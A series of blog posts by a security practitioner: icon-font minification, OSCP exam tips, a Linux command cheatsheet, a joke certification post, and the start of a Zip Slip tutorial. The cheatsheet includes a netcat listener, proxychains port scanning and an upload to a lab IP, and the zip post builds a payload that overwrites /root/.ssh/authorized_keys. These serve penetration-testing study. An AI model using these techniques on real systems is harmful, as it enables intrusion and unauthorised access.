`fa-thumbs-up` (U+F164)
`fa-github` (U+F09B)

An Icon Dieting Plan

With the backstory out of the way, let's discuss the high-level algorithm.

In my mind, all we have to do is post-process the generated static files like so:

Crawl the HTML files for a Font Awesome CSS. Parse the CSS and associated WOFF2 font files.
Crawl the HTML files (and perhaps other files) for used icons.
Construct a font file containing the minimum icons. We may also need to remap codepoints to resolve clashes.
Construct a CSS file containing the new mappings from icon class (e.g. .fa-star) to codepoint.
Write the CSS and font files.
Replace the original CSS links with the new CSS file.
Celebrate!

To no one's surprise, this shaved off more than 97% bytes. A success! Or is it?

Where speed?

As with many things in engineering, one metric rarely provides good coverage.

After integrating the minification into my build process, I excitedly waited for the site to build. I opened Chrome dev tools, loaded my site, and... what?! It was slower? Okay, maybe it was the first load, and the page wasn't cached on the edge.

But even after refreshing multiple times, the Time to First Byte (TTFB) was roughly the same compared to loading the original files.

The answer? CDN.

What is a CDN? CDNs (Content Delivery Networks) are servers deployed all over the globe, optimised to deliver assets such as JS, CSS, images, and fonts.

Moreover, if the file is guaranteed to not change (e.g. a versioned library asset), then the server can return a high browser cache duration, typically 1 year. Subsequent requests can just reuse the downloaded file.

The original files are delivered over a CDN. On the other hand, the minified files are served from Cloudflare Pages, which aren't optimised for low-latency delivery. Further, CF Pages may modify the URL/request/response via Page Rules or Cache Rules, and this extra server-side processing takes a toll on the response speed.

I benchmarked the response speed of delivery by CDN versus the site directory. The methodology is simple: collect download times from multiple points around the world, repeat this a couple times, and find the median. And we perform this for 6 different asset files.

Turns out, cdnjs.cloudflare.com delivers almost 50% faster.

Asset	Total Time (in ms)³	Total Time x3 (in ms)⁴
CSS (cdn; unminified)	17	-
CSS (site; unminified)	29	-
CSS (site; minified)	29	-
Font (cdn; unminified)	21	63
Font (site; unminified)	38	114
Font (site; minified)	47⁵	-

^{Font Awesome Free 6 benchmark for downloading assets from a CDN vs Cloudflare site. Here, unminified/minified refers to whether files contain excess icons; it does not refer to excess whitespace. The expectation is that minified assets are faster. (Data)}

I did leave out one detail though. The minified font is packaged in one file. The original FA fonts are delivered in three, separate files (Solid, Regular, Brands). If we account for this by multiplying unminified font results by a factor of 3, I think it's fair to say we have ourselves a win.

Another thing to consider: CDN assets may also be used by other sites, meaning the assets may already be cached. 10 sites using the same CDN font asset is better than 10 sites using minified font assets. If we browse these 10 sites, the former gives 1 set of downloads + 9 cache hits, while the latter has 10 sets of downloads + 0 cache hits.

Aside from the glaring potential for a delightful, thought-provoking discussion on collectivism and individualism, this begs the question: is it really worth it?

Cache Busting with Cloudflare Cache Rules

Similar to a CDN, we would like to take advantage of browser cache by providing a high cache time. This way, if the user visits the site across the week, they wouldn't need to re-download the measly 8kB of gzipped assets. This is ideal for sites that update sporadically.

You're probably thinking — come on, it's just 8kB, are you masochistic? And my response would be: it's a potential saving of 100ms for return visitors, and yes.

By default, Cloudflare Pages has a browser cache time of 4 hours. We can change this duration by modifying the Cache-Control header.

^{Create a cache-busting rule for URI paths starting with /cb/.}

^{Set the cache time to 1 century year.}

^{It works!}

We've applied cache-busting to the /cb/ path. All that's left is to make sure our new assets are written to _site/cb/; but more importantly, that the file name changes between different versions. This is super important.

If we updated our CSS/font file, we need to tell the browser: "Hey! Download and cache the new version online. Don't use the old cached file!" Changing the file name is the best way to force a cache-miss. Nothing complex. We can just append the file hash to each file.

I used the first 8 bytes of MD5, but any common hash will do. Now our files resemble /cb/webfonts/icons-10736075e7883838.woff2.

We just need to propagate this to our CSS, then HTML files, and we're done!

Closing Remarks

The code is a bit of a handful, but I've uploaded it on GitHub: TrebledJ/icon-minifier. Taking inspiration from other projects, I designed it to work as a CLI tool, but you can also import the API. Currently, it only handles Font Awesome fonts. I may add other webfonts later, and maybe have an SVG integration. Pull requests are welcome.

I should also point out that icon minification isn't a new problem. In fact, there are some general solutions designed to minify fonts. These are designed to compress fonts with many characters such as Chinese, Korean, and Japanese; though some work with icons too. Of the three, Font Spider has the most comprehensive features.⁶

Given the mediocre results, I'll continue keeping an eye on CDN performance and perhaps move on to better alternatives. Next step: mentally prepare myself to wrangle some CSS, and migrate to SVGs.

Footnotes

287kB gzipped comes from fa-brands, plus fa-regular, plus fa-solid. Fortunately, these variants are only downloaded if used. 2000 icons just counts solid, regular, and brands. Imagine the number of icons if premium FA was used! ↩︎
Google Font Glossary: Web Font ↩︎
Total Time includes DNS resolve time + connection time + download time. Times are sourced from uptrends.com. (Not sponsored. It just seems to have the largest coverage.) ↩︎
Total Time x3 applies when multiple font files are downloaded. This is used to provide a more accurate representation of resources used. ↩︎
The deviation between "Font (site; unminified)" and "Font (site; minified)" is most likely due to network latency and jitter. ↩︎
It even has a punny Chinese name! 字蛛! ↩︎

My OSCP Adventure — Lessons, Tips, and Thoughts

2024-04-14T00:00:00Z

Among the various certifications available to the infosec community, the Offensive Security Certified Professional (OSCP) stands out as a highly regarded entry-level credential for its demanding technical challenges and emphasis on real-world penetration testing.

Preparing for the OSCP is no easy task, and I wanted to share with the wider community some tips and lessons learnt.

enumeration - On Learning

The realm of technology is vast, it’s no wonder there is a lot of literature on “learning how to learn”. This is by far one of the most important lessons for an IT/infosec career. I've gathered some points on effective learning to feed into your subconscious.

Try Harder

A common reply to pleas for help, "Try Harder" isn't just about blunt knowledge. Rather, it's about being persistent, creative, and perceptive in the face of challenging circumstances, be it new frontiers, time limits and unknown variables.

Know the Fundamentals

A stable foundation lays the groundwork for a magnificent structure.

Running commands is fun and all, but what happens if something goes awry? A misbehaving command? Weird wonky error messages?

Not all machines are built like the textbook exercise. Often, there will be variations, ranging from the micro scale (name and IP) to the macro scale (attack paths, exploits). In these cases, it helps to understand the deeper elements at work, and save yourself from mindless flailing.

Although I entered cybersecurity with barely any networking knowledge, I found it valuable to understand concepts such as TCP/UDP, Public vs. Private IPs to better comprehend port scanning and port forwarding.

Know Your Tools

A sharp arsenal can yield returns in productivity.

Over the past few months, I grew intimate with commands like less, reverse search (^r), and other terminal shortcuts. The beauty of these commands is their portability; if I SSH into a Linux machine, I can immediately enjoy these shortcuts.¹

For those interested in maximising productivity on the Linux terminal, I've collected most of my command arsenal into a Linux cheatsheet.

Engage More Through Active Learning

Summarise portions of text.
Take notes along the way.
Ask yourself questions about the content, then answer them by googling or asking others.
Practice with the exercises and labs.
Share your knowledge with others, be it colleagues, friends, or in writing. Give yourself the opportunity to explain concepts. Not only do others get to learn, but you also get to learn through teaching.

Reshape Your Thinking with a Growth Mindset

Identify weaknesses and opportunities for improvement, rather than for comparison. Everyone's learning journey is different.

Instead of saying "Rubbish, how am I expected to know that technique?", ask yourself: "How can I improve my methodology to ensure I don't miss this during future enumerations?"

foothold - Tips and Tricks

Before Purchasing

1. Plan your 3 months.

If you plan on doing the course bundle with 90-days lab access, make sure you find a good three months with fewer obligations.

I made the mistake of starting in December, which unfortunately for me, was packed with events I couldn't exactly weasel out of. Oh, then there was Chinese New Year in February. :D

Maybe your December is less busy or it's just that my personality demanded social relief, but understand that you'll need to balance your time down the line and account for full-time work/study and events.

2. HTB Starting Point

To those with some technical background (programming, CTFs, etc.), I recommend trying out HTB Starting Point. Although these challenges are more CTF-esque (not so real-world/OSCP-like), they strengthen your networking and Linux fundamentals, while providing practice enumerating boxes with nmap and searching for exploits. The walkthroughs also tend to be well-written and explain concepts in detail.

3. Linux, Networking, Python, C

To those with less technical background, I suggest strengthening your fundamentals. In the OSCP, you'll be running Linux commands and occasionally modifying exploits.

Familiarise yourself with the common Linux commands. How do you go to a folder? Create/move/delete a file? Edit a file? With practice, these commands will become second nature, enabling you to navigate the Linux environment efficiently.

Rudimentary networking knowledge is also useful. HTB Academy has some free modules (Intro to Networking) which you can read in your spare time.

It would also be worthwhile to strengthen your programming fundamentals, especially in Python and C. Most exploits are written in Python, possibly the archaic Python 2. (You may also want to read up on differences between Python 2 and 3.) C is also common for low-level exploits.

Techniques

1. Enumerate all TCP ports... and SNMP.

Enumeration is the first step towards obtaining a foothold. Missing a port can lead to hours wasted following a rabbit hole.

Make sure you enumerate all TCP ports plus SNMP (UDP port 161/162). Don't be quick to dismiss SNMP. It's a good hiding spot for misconfigured credentials.

Often, a full port scan will take a while. Run a fast scan first, so that you can begin enumerating web services, FTP, SMB, etc.

# By default, only the first 1000 ports are scanned.
nmap -sS -T4 ...
# Run a full port scan in a different tab...
nmap -sS -T4 -p- ...

Some better recon tools may cover this for you.

2. Save enumeration output.

Do yourself a favour by saving all nmap, dirbust, PEAS output to files. Output is easily lost in the command line, either due to new command output, VM issues, or happy little accidents (oops! you accidentally pressed ^D and closed your terminal).

Examples:

nmap (-oN out.txt)
feroxbuster (-o out.txt)
winPEAS (winpeas.exe log, outputs to out.txt)
linPEAS (linpeas.sh >out.txt).

I usually exfiltrate my PEAS and mimikatz output, keeping a local copy in case I need to revert the machine. (Also I just like to use less to browse large files.)

Tools

1. less is more

For browsing lengthy text such as scan output, help output, and logs, I like to use less. Less is a built-in program with neat features, such as searching and filtering with regex. Some scenarios where I use it are:

Reading nmap output and jumping to a specific host.
Scrolling through PEAs output.
Running less, F to get a scrolling view of a running command.

I've included less commands in my Linux cheatsheet, so that you can be fearless on the command line. 🙂

2. Don't rely on automated exploitation tools.

Although Metasploit and SQLMap are great tools, avoid relying too much on them. Their usage is restricted during the exam (for good reasons). To prepare for the exam, refrain from using automated exploitation tools in the practice labs. Reach for Metasploit only if you really need it.

3. Kali vs. ParrotOS

If you're using a VM on a resource-constrained machine, consider using ParrotOS over Kali.

My laptop only had 8GB RAM with a poor GPU, and Kali was rather resource-intensive. Opening BurpSuite/Firefox quickly made a helicopter out of my hunk of metal.

ParrotOS consumes less resources, runs pretty fast on smaller machines, and has a helpful community. And although the PEN-200 course is designed for Kali Linux, it's not too hard to rewrite commands for ParrotOS.

This is not for the faint of heart. I would only recommend switching to ParrotOS if you're already familiar with Linux, you have the patience for environment setup, and you like birds.

	Graphical Acceleration	Min. RAM (GB)	Min. Storage Available (GB)
Kali	Required	2 (8 for Burp/Firefox)	20²
ParrotOS	Not Required	1	20²

Doomsday (The Exam)

1. Preparing for the Exam

Ensure you have two free days. 1 for the exam, 1 for the report.
Prepare snacks/water and a space free from distractions.
Breaks: you're allowed to take any amount of breaks (just message the proctor then go). Eat, exercise, poop, nap, whatever.

2. During the Exam

Get a good rest before the exam.
Screenshot all interesting commands and findings.
- These screenshots provide necessary evidence during report writing. You’re expected to walk through your exploit chain step-by-step. It's also a good habit for real-life pentesting.
- Do not forget to screenshot your local/proof.txt. (Refer to the exam guide.)
You're allowed unlimited use of msfvenom + msfconsole for simple reverse shells. They’re useful for generating exe's fixed to a specific port.
Don’t underestimate a good nap. Even a power nap (10-30 min) can help. You have plenty of time to work in your meals plus some naps.
If you can, bag the 10 bonus points! They increase your chances of passing. Without bonus points, 3 out of 5 pass scenarios would be ruled out. (I was not willing to take that chance. And it was worth it.)

Resources

Useful tools and resources:

less - built-in Linux tool for viewing text.
feroxbuster - dirbusting with nicer UX.
HackTheBox Academy: Introduction to Networking - reading material to get up to speed on networking basics.

More resources you may enjoy, which I didn't use (so I don't have a well-formed opinion).

autorecon - automated enumeration tool which combines port scanning, dirbusting, SMB, SNMP scanning, etc.
TJ Null’s list - extra boxes in HackTheBox, TryHackMe, OffSec Proving Grounds, and more. The PEN-200 exercises + labs are sufficient preparation, but extra practice doesn't hurt.

pe - Personal Experience

A brief reflection of my OSCP journey.

Four years ago, I wouldn't imagine myself learning Windows in detail. Unix systems always seemed more developer-friendly, and I had no intention of leaving that ecosystem. One year ago, I wouldn't imagine myself being able to explain Active Directory concepts — it was that intimidating. But after practice, I can confidently say that I'm now in a better place. 🙃

A bit about me… I come from a programming/CTF background. By some luck, I secured a job offer working as a cybersec consultant—gruelling hours, rewarding learning experiences. It wasn't easy balancing study with work; flexible work conditions helped for sure, but other commitments began to creep into my schedule.

Despite that, I managed to complete 80% exercises and 4 labs (1, 2, 4, 5), nabbing the 10 bonus points before the exam. The labs were exceptionally helpful in strengthening my methodology and knowledge base, without which I probably wouldn't have passed.

Come exam time, I woke up with a refreshed mind and executed what I had rehearsed. Port scanning. Directory busting.

About an hour in, my VM suddenly froze. "Arghh! Not again!" This has been happening on-off for a while, and to this day I still don't have a fix. But I was mentally prepared; and after reenacting "Y U NO" guy for a few minutes, we were back in business. Don't you just love unexpected interruptions?

Finding footholds were tough. There were moments when I harboured fears of failure. But I persisted. Because I had to try harder. And because I didn’t want to deal with the corporate administrative bullshit for failing and registering a second attempt.³

Thankfully, privilege escalation wasn't too hard on my set of machines. After gaining a foothold, it took about 15 minutes (for each machine) to escalate and obtain root. Eventually, I made it out with 3 rooted individual machines plus a local admin on the external AD computer — 70 points including bonus.

All that's left was to type the report on Obsidian, export it to PDF, submit the report, and call it a day.

By the way, if you think the OSCP is hard, you should try the Hong Kong Driving Test. Most people fail on their first try.⁴

pwned - In Closing

Learning is a process; you don't learn by simply taking an exam. Rather, true learning comes from the preparation and the valuable lessons gained from your mistakes along the way.

Learning is not a linear path, but rather a dynamic and iterative process. It involves pushing your boundaries, exploring new ideas, and embracing challenges along the way. Exams are just milestones in the larger journey of learning. Stay curious, and keep learning!

Footnotes

Surprisingly, Windows PowerShell also uses ^r for reverse search. Double win! ↩︎
20GB is for a minimal install (e.g. no desktop). This is usually not enough. Considering common hacking tools, BloodHound, wordlists, personal notes, etc., we're looking at 50GB or more. I've set mine to 60GB. ↩︎ ↩︎
"Hi, I regret to inform you I did not pass my exam." "Noted with thanks. If you plan on a second attempt, please reapply through the appropriate 12-step procedure." Ugh, no thanks. ↩︎
Surprisingly, the OSCP and the Hong Kong Driving Test are on-par on so many levels. The passing rate is low. They don't precisely reflect real-world situations, due to being overcautious. There are multiple components (written + practical). ↩︎

Practical Linux Tricks for the Aspiring Hacker

2024-04-08T00:00:00Z

This is a collection of commands I've picked up over the last few years, which I've found immensely useful. My favourite ones are probably:

less: search/filter on a file or long text
^r: reverse search
!$: last argument of previous command

By "favourite", I mean I've used these commands a lot, and they've drastically increased my productivity.

Cool Stuff

Control (^) Commands

^c # Duh. https://xkcd.com/416/
^d # Exit / EOF.

Reverse/Forward Search: for those long commands stashed in history. Works in PowerShell and REPLs too!

^r
^s

^{Note: to make ^s work in bash/zsh, you may need to run stty -ixon, which disables software control flow.}

Ternary Expression

[ 1 -eq 1 ] && echo 'true' || echo 'false'
true

Clear screen. Useful for graphical hiccups.

reset

Run shell script without chmod +x.

. ~/.zshrc
source ~/.zshrc

Tree view of files.

tree

Strings

Double-Quotes vs. Single-Quotes

Double-quotes allow variable expansion and command substitution.
Single-quotes don't. Prefer single-quotes for simple strings.

echo "$((1+1))" "$SHELL"
2 /bin/zsh
echo '$((1+1))' '$SHELL'
$((1+1)) $SHELL

Multi-Line / Escape
Prefix the string with $.

echo $'...'

Escape Single-Quotes

Example

Multi-Line Strings.

echo $'1\n2\n3'
1
2
3

Find words containing 't in comma-separated line.

echo -n $'can\'t,don\'t,I\'ll,I\'m,won\'t' | awk -vRS=, $'$0 ~ /\'t/'
can't
don't
won't

Previous-Command Tricks

$?: exit code of previous command
- By convention, 0 means no error. Non-0 implies an error occurred.
!!: previous command
!$ or $_: last argument of previous command

Examples

Retry with sudo.

mkdir /var/tmp/lol
Permission denied.
sudo !!
→ sudo mkdir /var/tmp/lol
Success!

Found an interesting directory, but forgot to cd.

ls long/path
cd !$
→ cd long/path

Rename file in folder from file.txt to booyah.md.

cat long/path/file.txt
mv "!$" "$(dirname !$)/booyah.md"
→ mv long/path/file.txt long/path/booyah.md

Other Useful Commands (stolen from here)

!!:n - nth argument from previous command
!^ - first argument (after the program/built-in/script) from previous command
!* - all arguments from previous command
!n - command number n from history
!pattern - most recent command matching pattern
!!:s/find/replace - last command, substitute find with replace

Redirection

< out.txt # Read from file (to stdin).
> out.txt # Write to file (from stdout).
>> out.txt # Append to file (from stdout).
2> out.txt # Write to file (from stderr).
&> out.txt # Redirect all output.
&> /dev/null # Redirect everything into the void.
2>&1 # Redirect stderr to stdout.

>& # Same as `&>`.

Powerful Utilities

awk: filter lines, filter columns, math, scripting, etc.
sed: filter/replace text
grep: filter lines
cut: filter columns
tr: replace/remove characters
wc: count characters/bytes/words
find: find files in folder, execute command for each file with -exec
xargs: feed arguments into commands, simple cmdline multi-processing

I won't cover too much of these commands here, as tons of articles already cover them. And you can browse examples online or in their man pages.

awkward things

awk - Cut

Cut third field.
awk '$0=$3'

Print third field. (Pretty much same as the command above.)
awk '{print $3}'

Use ',' as field delimiter, e.g. for CSVs.
awk -F, '{print $3}'

Or use the script variable `FS` (Field Separator).
awk -v FS=, '{print $3}

awk - Filtering

Without entering the scripting environment {...}, awk will run filters against each line.

seq 1 4 | awk '$1 % 2 == 1'
1
3
echo $'foo1\nbar1\nfoo2' | awk '$0 ~ /^foo/'
foo1
foo2

awk - Math

Add 5 to the first arg, then print the line.
awk '{$1 += 5}1'

seq 1 3 | awk '{$1 += 5}1'
6
7
8

awk - Scripting

awk '{print "booyah",$1,"yahoo"}'
awk also has variables, if, for, while, arrays, etc.

Script variables. (Useful for configuring row/column delimiters.)

RS: Record Separator (rows)
FS: Field Separator (columns)
ORS: Output Row Separator
OFS: Output Field Separator
NR: Record Number (current row, 1-indexed) [read-only]
NF: Number of Fields [read-only]

grep

Useful Flags

-i # case-insensitive
-E # regex
-v # non-match (inVert)

grep – Find String in Files

grep -rnw /path/to/somewhere/ -e 'pattern'

-r or -R is recursive,
-n is line number, and
-w stands for match the whole word.
-l can be added to just give the file name of matching files.
-e is the pattern used during the search

Ref: https://stackoverflow.com/a/16957078/10239789

Other useful flags:

-A N/-B N/-C N: context; prints N lines of context after/before/around the matched line

xargs

xargs is a versatile command-line utility that allows efficient execution of commands, making it a powerful tool for automation and batch processing.

Interesting options:

-P <n> # max procs
-n <n> # num args
-I {}  # pattern to insert into command

Examples

Combine multiple lines into 1 line.

echo $'1\n2\n3'
1
2
3
echo $'1\n2\n3' | xargs 
1 2 3

Multi-Processing: Execute ./do-something-to-file.sh <file> on multiple files, with at most 4 processes.

cat files.txt | xargs -P 4 -n1 ./do-something-to-file.sh

Multi-Processing: Port Scan with Ports 1-1000 through proxychains.

seq 1 1000 | xargs -P 50 -I{} proxychains4 -q nmap -p {} -sT -Pn --open -n -T4 --oN nmap.txt --append-output 192.168.101.10

Other Utilities

basename ~/.bashrc
.bashrc
dirname ~/.bashrc
/home/trebledj

Directory Stack

pushd # Push current directory, for easier returning.
popd  # Return to directory on top of stack.
dirs  # List history of dirs.

pushd/popd Example

cd ~/a/b/c
pushd deep/nested/directory
Jump to `deep/nested/directory`, push `~/a/b/c` into the stack.
cd ../../jump/around/some/more
cd ../../and/a/little/more
popd  # Return to `~/a/b/c`.

less

less is a powerful text viewer (read-only), with capabilities to navigate, search, and filter lines in a file or long text.

Get some help. See all commands:

less - Nice Options

less file.txt

Renders ANSI colors.
less -R file.txt

Pager search becomes case insensitive.
less -I file.txt

Line numbers.
less -N file.txt

You can turn on/off these options inside less by typing -I<Enter>, -R<Enter>, or -N<Enter>. This is useful if you forget to turn them on beforehand (e.g. after curling a web request).

j # Line down.
k # Line up.
f # Page down.
b # Page up.
d # Half-page down.
u # Half-page up.

g # Go to start of file.
G # Go to end of file.

<n> g # Go to nth line.

# Go to the n% line of the file.
<n> p
20p 40p 50p 80p

# What's the current line?
^g

less - Search / Filtering

# Search (regex enabled).
/ <pattern>
# For case-insensitive search, use `less -I`.

# Navigate search results: next/prev result.
nN

# Filter lines by search.
& <pattern>
# Filter NON-MATCHING lines
& ! <pattern>
# Clear filter.
& <enter>

less - Scrolling

Personally, I prefer less+F over tail -f.
Use ^c to exit the feed.

# Continuous feed (e.g. for streams of data)
F

less - Working with Multiple Files

less also works with multiple files passed in the command line, e.g. less *.txt.

# Next file.
:n
# Previous file.
:p

More commands in man less.

Processes

fg/bg - "I'll be back."

Shells allow you to move processes between the foreground (which accepts interactive input) and background (to run things which don't require input).

^z # Push process to background (and pause it).
bg # Start background process.
fg # Bring most recent background process into foreground.
fg 2 # Bring job 2 into foreground.
jobs # View background jobs.

^c # Good ol' ctrl-c stops the process in fg.
kill <pid> # Kill process with given process ID.

Start a command in the background.
<cmd> &

Example

Start an HTTP server on port 8080.

python -m http.server 8080 &
[1] 17999

The process is started in the background with job number 1, PID 17999.

To kill the process:

fg
^c

or...

kill 17999

Process ID (PID) and Job Number are two different things.

PIDs apply to all users in the entire system, and are assigned by the kernel.
Job Numbers apply to the current shell, and are numbered linearly from 1 onwards.

View Running Procs

ps aux

Combine with grep/less for filtered results.

Networking

IP and Ports

IP Addresses and Networks

ifconfig
ifconfig tun0

Get Our Public IP

curl ifconfig.me
X.X.X.X

Open Ports/Sockets

netstat -anp

-a: all sockets
-n: numeric addresses
-p: associated processes

Listen/Connect

Initiate a connection.
nc 192.168.1.1 8080

Listen for a connection.
nc -nlvp 4444

Download Files

Download and save to a local file.
curl <url> -O
wget <url>

Download with a custom filename.
curl <url> -o filename.txt
wget <url> -O filename.txt

Download silently and display in `less`.
curl <url> -s | less
wget <url> -s | less
curl some.api.site/api/v1/users/ -s | jq | less

Upload Files

python -m uploadserver

By default, uploadserver starts a server at port 8000.
Get our IP from ifconfig.

curl -F files=@file1.txt -F files=@file2.txt 192.168.45.179:8000/upload

Files

Check File Sizes

Get available disk space.
df -h
Get file size of current directory, in human readable format.
du -sh .
Get file size of txt files, in human readable format.
du -sh *.txt

Find/Operate on Files

Find files in operating system, and ignore errors.
find / -name '*needle*' 2>/dev/null

Find [f]iles or [d]irectories.
find . -type f -name '*needle*'
find . -type d -name '*needle*'

Find and run command on files. \; is needed for `find` to know where to terminate.
find . -type f -name '*complex*' -exec echo {} \;
find . -type f \( -name '*complex*' -or -name 'query' \) -exec du -h {} \;

Other useful flags:

-mindepth N/-maxdepth N: minimum/maximum recursion depth, e.g. -maxdepth 1 would only operate on files directly within the current folder

git gud

Git commands for completeness.

Make new branch.
git checkout -b <name>

Checkout commits in tree before HEAD.
git checkout HEAD~1  # 1 commit before.
git checkout HEAD~10 # 10 commits before.

Checkout commit from parent.
git checkout HEAD^  # 1 commit before (from parent 1, base).
git checkout HEAD^2 # 1 commit before (from parent 2, target).

Store changes locally.
git stash
git stash pop

Clean edited files.
git reset [--hard]
--hard removes unstaged files.

View changes.
git diff | less
git diff <file> # See change in specific file.

Jump through commits (to find, say, the cause of a bug).
git bisect [start|reset|good|bad|skip]

git tree

Command-line git tree from git log.
git log --graph --abbrev-commit --decorate --format=format:'%C(bold blue)%h%C(reset) - %C(bold green)(%ar)%C(reset) %C(white)%s%C(reset) %C(dim white)- %an%C(reset)%C(bold yellow)%d%C(reset)' --all

More detailed git-tree 
git log --graph --abbrev-commit --decorate --format=format:'%C(bold blue)%h%C(reset) - %C(bold cyan)%aD%C(reset) %C(bold green)(%ar)%C(reset)%C(bold yellow)%d%C(reset)%n''          %C(white)%s%C(reset) %C(dim white)- %an%C(reset)' --all

Add them as git aliases in ~/.gitconfig or script aliases in ~/.bashrc.
See https://stackoverflow.com/a/9074343/10239789.

Fun watch: So You Think You Know Git?

vim

Haha. Nope.

Not covering that here.

How to Exit Vim

Obligatory.

:wq  # Write to file + exit.
:q!  # Force exit.

Okay, that's enough vim.

Useful Things

Set line numbers.

:set number

tmux

Actually decently useful? This is not a substitute for a tmux tutorial/introduction, the main goal is to be a simple cheatsheet. Go learn it in 5 minutes.

Start a new tmux session.
tmux
Reuse a previous tmux session.
tmux attach -t 0
tmux attach -t custom-name

Must-know commands. (Note: C-b is Ctrl+b. C-b d means hit Ctrl+b, then press d.)

C-b d       # Detach session (reconnect with tmux attach -t 0)

Navigate panes
C-b (up/down/left/right)

C-b c       # New window
C-b n       # Next window
C-b p       # Previous window
C-b %       # Split pane (left/right)
C-b "       # Split pane (up/down)"
C-b x       # Close pane
C-b &       # Close window
C-b ?       # Help (common commands)

Useful commands.

C-b (0-9)   # Jump to window #0-9
C-b z       # Zoom/Unzoom pane (useful when needing to copy something with multiple lines)
C-b ,       # Rename window

Toggle preset pane layout
C-b alt-(1-5)
C-b space   # Cycle through preset layouts

Copy mode
C-b [
C-b page-up # For scrolling
C-c         # Exit copy mode (Ctrl+c)

Search output history (make sure you're in copy mode)
/

Rename session (then use when tmux attach -t custom-name)
C-b :rename-session custom-name

Hacky Hack Hack

Generate Bytes

Buffer overflow for fun and profit.

echo

echo -n '\x01\x02'

echo -n '\x41' | xxd
00000000: 41                     A

perl (good for repetitive sequences)

perl -e 'print "\x41"x4 . "\x42\x43"' | xxd
00000000: 4141 4141 4243         AAAABC

I've mentioned this elsewhere, but I'll repeat it here: I don't recommend using Python 3 to generate strings on-the-fly, as its string/byte-string mechanics are unintuitive. Prefer perl or echo instead.

For example: python -c 'print("\xc0")' prints \xc3\x80 (À) instead of \xc0. Why? Because the Python string "\xc0" is interpreted as U+00C0, which is \xc3\x80 in UTF-8.

assert '\xc0'.encode() == b'\xc3\x80'

Printing bytes in Python is difficult to do concisely.

Simple Binary Analysis

Look for strings.

strings file
strings -n <numchars> file

Look for strings and print addresses (in hex)!

od -A x -S 4 file

Tracing

strace - trace system calls (open, read, write, etc.)
ltrace - trace library (glibc) calls

I'm now a Certified Offensive Waterblower!

2024-04-01T00:00:00Z

Waterblowing is a Cantonese slang for bullshitting or small talk. But here it mainly refers to the former.

I'm thrilled to share a major achievement in my career: I am now officially a Certified Offensive Waterblower (COW)! 🐄💧🔥

After months of rigorous training, unwavering dedication, and countless facepalms, I have successfully mastered the art of offensive waterblowing. 💪💧💨

Curious about offensive waterblowing? It's a cutting-edge technique where practitioners combine the power of blunt, no-bullshit remarks and third-degree burns to deliver roasts hot enough to cook an A5 wagyu to perfection. 🔥🥩 (Check out the official registration process!)

Here is a demonstration of practical offensive techniques out in the wild.

“Looks like you grew some white hair. Did you recently pick up Rust?”
“The S in C stands for Secure.”
“You don’t use SQL prepared statements? What are you? A PHP dev?” 🐬
“Triangles are the most versatile shape, except when they’re in the same room as a percussionist.”
“How do you keep a violin from being stolen? Put it in a viola case.”

With the COW certification, I’ve honed the ability to execute penetration tests against a target’s mental state and deliver unforgiving emotional damage. By testing every insult vector, we develop the target’s emotional quotient, the EQualisation of the mind.

Professional COWs are trained in practical offensive tools, such as Burping mid-conversation, SQueaLing inappropriately, and employing Common Vituperative Exclamations (CVEs).

For instance:

“You are old.” (CVE-1970-421337)
“You suck.” (CVE-1980-5432)
“Your country sucks.” (CVE-1984-5432)
“Your code sucks.” (CVE-2000-311299)
“You talk too much.” (CVE-2024-80420)
“Why are you so quiet?” (CVE-2024-80421)

In latter stages, we are trained in more advanced techniques, such as deploying botnets to take over 300 million electric toothbrushes running Java, poisoning Devin with insecure code (it’s called job security), and sidechaining modern SSH libraries (so that we can be backdoored by xz-utils).

Now, you might be wondering why I embarked on this unique certification journey in offensive waterblowing. Well, as an IT professional in a world full of superfluous certificates and endless new JS runtimes, I've made the most of my time by learning what matters most: building emotional intelligence and sipping milk tea.

With my COW certification, I aim to redefine the boundaries of professional interaction in the business world. By injecting Common Vituperative Exclamations, we can foster a more creative and resilient industry. 🔒💡

On a historic note, although this certification was originally designated for individuals of a certain gender with a certain intellectual capacity, the Association of Bombastic Certifications Inclusion and Diversity Department has opened the floor to various groups, so that everyone can now be an offensive waterblower. How nice is that! 🌐💧

Get your COW certificate today! (Click here to get it now!) Only costs $50,000 USD, your job, and a childhood. 💸🐮

From Compression to Compromise: Unmasking Zip File Threats

2024-02-15T00:00:00Z

Zip files are everywhere in our daily lives, seamlessly integrated into our personal, academic, and professional environments. From Java apps to Microsoft Office documents, zip files have become an indispensable tool.

But as we know from Silicon Valley, zip files have the potential to be dangerous.

^{YouTube: Silicon Valley - The Ultimate Hack}

In this post, we'll delve into the intriguing world of zip file attacks, exploring various attacks and mitigations involving zip files. These attacks allow attackers to potentially gain unauthorised file read/write privileges—or even cause denial of service. This calls for mitigations to bolster our systems’ defences.

The discussion will primarily centre around attacks on Linux/Unix, although considerations for Windows are also included.

Disclaimer: The content provided in this blog post is intended purely for educational purposes. The author does not assume any responsibility for the potential misuse of the information presented herein. Readers are advised to exercise caution and utilise the knowledge gained responsibly and within legal boundaries.

Zip Attacks

Zip Slip ⛸

Overview of Zip Slip

Zip Slip is a fancy name for directory traversal but applied to zip uploads. The idea is to escape a directory by visiting parent directories through ../ (or ..\ on Windows). By exploiting the lack of filename validation, Zip Slip enables us to perform arbitrary file writes.

Let's look at an example.

A typical zip file may look like this:

foo.zip
└── data1.csv
└── data2.txt
└── ...

But in a Zip Slip payload, files are prefixed with nasty double-dots (../). As an example, we'll try to overwrite SSH keys by writing to /root/.ssh/authorized_keys.

evil-slip.zip
└── placeholder.txt
└── ../../root/.ssh/authorized_keys

(Note: placeholder.txt has been included as a control variable, i.e. to show what happens normally to files.)

Most decompression applications will refuse to unpack such a zip. But vulnerable ones would gladly accept it and overwrite SSH keys on their system.

Suppose a vulnerable application unzips evil-slip.zip to /app/uploads/. The unzipped authorized_keys file would end up in /app/uploads/../../root/.ssh/authorized_keys, i.e. /root/.ssh/authorized_keys.

/
├── app/
│	└── uploads/
│	    └── placeholder.txt
└── root/
    └── .ssh/
		└── authorized_keys

^{Result of unzipping evil-slip.zip. Note that placeholder.txt resides in the unzip directory, while authorized_keys has sneaked its way into /root/.ssh/.}

Overwriting ~/.ssh/authorized_keys is a common arbitrary file write vector which can be applied in other file upload scenarios too! (See this MITRE reference.)

This isn't the only way to gain arbitrary code execution. There are other potential targets for an arbitrary file write (server credentials, config files, cron jobs, etc.).

DIY: Build your own Zip Slip payload!

With Python

Python's built-in zipfile module provides a convenient way to create zip files.

import zipfile

with zipfile.ZipFile("evil-slip.zip", "w") as zip:
    zip.write("my-ssh-key.pub", "../../root/.ssh/authorized_keys")
